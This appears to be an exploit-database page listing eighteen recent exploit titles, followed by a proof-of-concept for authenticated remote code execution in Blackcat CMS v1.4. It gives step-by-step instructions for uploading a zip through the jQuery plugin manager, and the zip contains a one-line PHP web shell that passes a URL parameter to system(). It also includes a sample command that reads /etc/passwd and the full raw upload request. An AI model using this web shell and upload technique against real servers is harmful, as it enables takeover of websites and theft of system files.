
18 changes to exploits/shellcodes/ghdb Hikvision Hybrid SAN Ds-a71024 Firmware - Multiple Remote Code Execution ABB FlowX v4.00 - Exposure of Sensitive Information TP-Link TL-WR740N - Authenticated Directory Transversal Microsoft Edge 114.0.1823.67 (64-bit) - Information Disclosure Backdrop Cms v1.25.1 - Stored Cross-Site Scripting (XSS) Blackcat Cms v1.4 - Remote Code Execution (RCE) Blackcat Cms v1.4 - Stored XSS CmsMadeSimple v2.2.17 - Remote Code Execution (RCE) CmsMadeSimple v2.2.17 - session hijacking via Server-Side Template Injection (SSTI) CmsMadeSimple v2.2.17 - Stored Cross-Site Scripting (XSS) Joomla! com_booking component 2.4.9 - Information Leak (Account enumeration) Online Piggery Management System v1.0 - unauthenticated file upload vulnerability phpfm v1.7.9 - Authentication type juggling PimpMyLog v1.7.14 - Improper access control PMB 7.4.6 - SQL Injection Statamic 4.7.0 - File-Inclusion Vaidya-Mitra 1.0 - Multiple SQLi
65 lines
No EOL
2.1 KiB
Text
65 lines
No EOL
2.1 KiB
Text
Exploit Title: Blackcat Cms v1.4 - Remote Code Execution (RCE)
|
|
Application: blackcat Cms
|
|
Version: v1.4
|
|
Bugs: RCE
|
|
Technology: PHP
|
|
Vendor URL: https://blackcat-cms.org/
|
|
Software Link: https://github.com/BlackCatDevelopment/BlackCatCMS
|
|
Date of found: 13.07.2023
|
|
Author: Mirabbas Ağalarov
|
|
Tested on: Linux
|
|
|
|
|
|
2. Technical Details & POC
|
|
========================================
|
|
steps:
|
|
1. login to account as admin
|
|
2. go to admin-tools => jquery plugin (http://localhost/BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgr)
|
|
3. upload zip file but this zip file must contains poc.php
|
|
poc.php file contents
|
|
<?php $a=$_GET['code']; echo system($a);?>
|
|
4.Go to http://localhost/BlackCatCMS-1.4/upload/modules/lib_jquery/plugins/poc/poc.php?code=cat%20/etc/passwd
|
|
|
|
Poc request
|
|
|
|
POST /BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgr HTTP/1.1
|
|
Host: localhost
|
|
Content-Length: 577
|
|
Cache-Control: max-age=0
|
|
sec-ch-ua:
|
|
sec-ch-ua-mobile: ?0
|
|
sec-ch-ua-platform: ""
|
|
Upgrade-Insecure-Requests: 1
|
|
Origin: http://localhost
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBRByJwW3CUSHOcBT
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
|
Sec-Fetch-Site: same-origin
|
|
Sec-Fetch-Mode: navigate
|
|
Sec-Fetch-User: ?1
|
|
Sec-Fetch-Dest: document
|
|
Referer: http://localhost/BlackCatCMS-1.4/upload/backend/admintools/tool.php?tool=jquery_plugin_mgr
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US,en;q=0.9
|
|
Cookie: cat7288sessionid=7uv7f4kj7hm9q6jnd6m9luq0ti
|
|
Connection: close
|
|
|
|
------WebKitFormBoundaryBRByJwW3CUSHOcBT
|
|
Content-Disposition: form-data; name="upload"
|
|
|
|
1
|
|
------WebKitFormBoundaryBRByJwW3CUSHOcBT
|
|
Content-Disposition: form-data; name="userfile"; filename="poc.zip"
|
|
Content-Type: application/zip
|
|
|
|
PKvalsdalsfapoc.php<?php
|
|
$a=$_GET['code'];
|
|
echo system($a);
|
|
?>
|
|
blabalaboalpoc.php
|
|
blablabla
|
|
------WebKitFormBoundaryBRByJwW3CUSHOcBT
|
|
Content-Disposition: form-data; name="submit"
|
|
|
|
Upload
|
|
------WebKitFormBoundaryBRByJwW3CUSHOcBT-- |